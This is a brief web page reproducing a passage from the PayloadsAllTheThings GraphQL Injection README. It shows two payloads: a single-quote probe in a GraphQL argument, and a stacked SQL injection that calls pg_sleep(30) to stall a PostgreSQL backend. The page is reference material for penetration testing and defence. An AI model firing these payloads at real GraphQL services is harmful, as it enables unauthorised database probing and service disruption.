GraphQL Injection · passage 19 of 19
2 code blocks · GraphQL Injection/README.md
For testing systems you own or are authorised to test, and for defending them. Nothing here is run by this page.
Open this passage on GitHubSend a single quote `'` inside a GraphQL parameter to trigger the SQL injection
{
bacon(id: "1'") {
id,
type,
price
}
}Simple SQL injection inside a GraphQL field.
query {
user(name: "patt';SELECT 1;SELECT pg_sleep(30);--'") {
id
email
}
}Source: GraphQL Injection/README.md in PayloadsAllTheThings. From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky.
Every one of the 19 is a mark on the map. Named now: 1 to 19, reading order first.
Zoom in on the map and the dots under the middle of it are named where they are.
Data as of 2026-11-14. CVE List through 2026-11-14 · EPSS of 2026-11-13 · CISA KEV checked 2026-11-14. Source: PayloadsAllTheThings by Swissky and contributors, MIT License. For authorised testing only.